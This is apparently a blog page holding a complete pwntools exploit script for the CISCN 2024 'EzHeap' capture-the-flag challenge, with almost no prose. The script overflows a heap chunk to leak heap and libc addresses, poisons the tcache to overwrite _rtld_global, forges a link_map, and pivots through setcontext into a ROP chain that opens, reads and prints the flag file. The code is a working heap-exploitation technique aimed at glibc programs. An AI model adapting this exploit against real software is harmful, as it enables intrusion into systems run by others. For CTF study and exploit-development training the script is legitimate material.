1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133
| from pwn import *
elf = ELF("./EzHeap") context.log_level = 'debug' context.arch = 'amd64' io=process('EzHeap')
def add_chunk(size, content=b''): io.sendlineafter("choice >> ", '1') io.sendlineafter("size:", str(int(size))) io.sendafter("content:", content)
def delete_chunk(index): io.sendlineafter("choice >> ", '2') io.sendlineafter("idx:", str(index))
def edit_chunk(index, size, content): io.sendlineafter("choice >> ", '3') io.sendlineafter("idx:", str(index)) io.sendlineafter("size:", str(size)) io.sendafter("content:", content)
def show_chunk(index): io.sendlineafter("choice >> ", '4') io.sendlineafter("idx:", str(index))
def exit_program(): io.sendlineafter("choice >> ", '5')
add_chunk(0x28) add_chunk(0x28)
edit_chunk(0, 0x50, b'a' * 0x50) show_chunk(0) io.recvuntil(b'a' * 0x50) gdb.attach(io) pause() heap_leak = u64(io.recvuntil(b'Welcome to CISCN 2024!', drop=True).ljust(8, b'\x00')) heap_base = heap_leak << 12
edit_chunk(0, 0x50, b'\x00' * 0x28 + p64(0x21) + b'\x00' * 0x18 + p64(0xd1))
edit_chunk(1, 0x30, b'a' * 0x30) show_chunk(1) io.recvuntil(b'a' * 0x30) libc_leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc_base = libc_leak - 0x21ace0
edit_chunk(1, 0x30, b'\x00' * 0x28 + p64(0xf1))
setcontext_address = libc_base + 0x539e0 + 61 read_address = libc_base + 0x1147d0 write_address = libc_base + 0x114870 rtld_global_address = libc_base + 0x285040 rtld_3_address = libc_base + 0x2865a0
pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0xe7d0d pop_rdx = libc_base + 0x11f2e7 ret = libc_base + 0x1193c1 pop_rax = libc_base + 0x45eb0 syscall = libc_base + 0x91316 target_address = ((heap_base + 0x1e30) >> 12) ^ rtld_global_address
add_chunk(0x78) add_chunk(0x78) add_chunk(0x78) add_chunk(0x78) edit_chunk(5, 0x100, b'a' * 0x78 + p64(0x21) + p64(target_address)) add_chunk(0x18) add_chunk(0x18) add_chunk(0x18) add_chunk(0x18) add_chunk(0x18, p64(heap_base + 0x300) + p64(5) + p64(rtld_3_address))
heap_leak_adjusted = heap_base - 0x650 l_next_address = libc_base + 0x286890
link_map = p64(0) link_map += p64(l_next_address) link_map += p64(0) link_map += p64(heap_leak_adjusted + 0x940) link_map += p64(0) * 28 link_map += p64(heap_leak_adjusted + 0xa50) link_map += p64(heap_leak_adjusted + 0xa70) link_map += p64(heap_leak_adjusted + 0xa60) link_map += p64(0x10) link_map += p64(setcontext_address) link_map += p64(ret) link_map += p64(0) * 13 link_map += p64(heap_leak_adjusted + 0x200) link_map += b'./flag'.ljust(8, b'\x00') link_map += p64(0) link_map += p64(0x100) link_map += p64(0) * 2 link_map += p64(heap_leak_adjusted + 0xc60) link_map += p64(ret) link_map += p64(0) * 38 link_map += p64(0x800000000)
rop_chain = p64(ret) * 0x1 rop_chain += p64(pop_rdi) + p64(heap_leak_adjusted + 0xaf0) rop_chain += p64(pop_rax) + p64(2) rop_chain += p64(pop_rsi) + p64(0) rop_chain += p64(syscall)
rop_chain += p64(pop_rdi) + p64(3) rop_chain += p64(pop_rsi) + p64(heap_leak_adjusted + 0x800) rop_chain += p64(pop_rdx) + p64(0x50) + p64(0) rop_chain += p64(read_address) rop_chain += p64(pop_rdi) + p64(1) rop_chain += p64(pop_rsi) + p64(heap_leak_adjusted + 0x800) rop_chain += p64(pop_rdx) + p64(0x50) + p64(0) rop_chain += p64(write_address)
edit_chunk(0, 0x400, link_map + rop_chain)
exit_program()
io.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~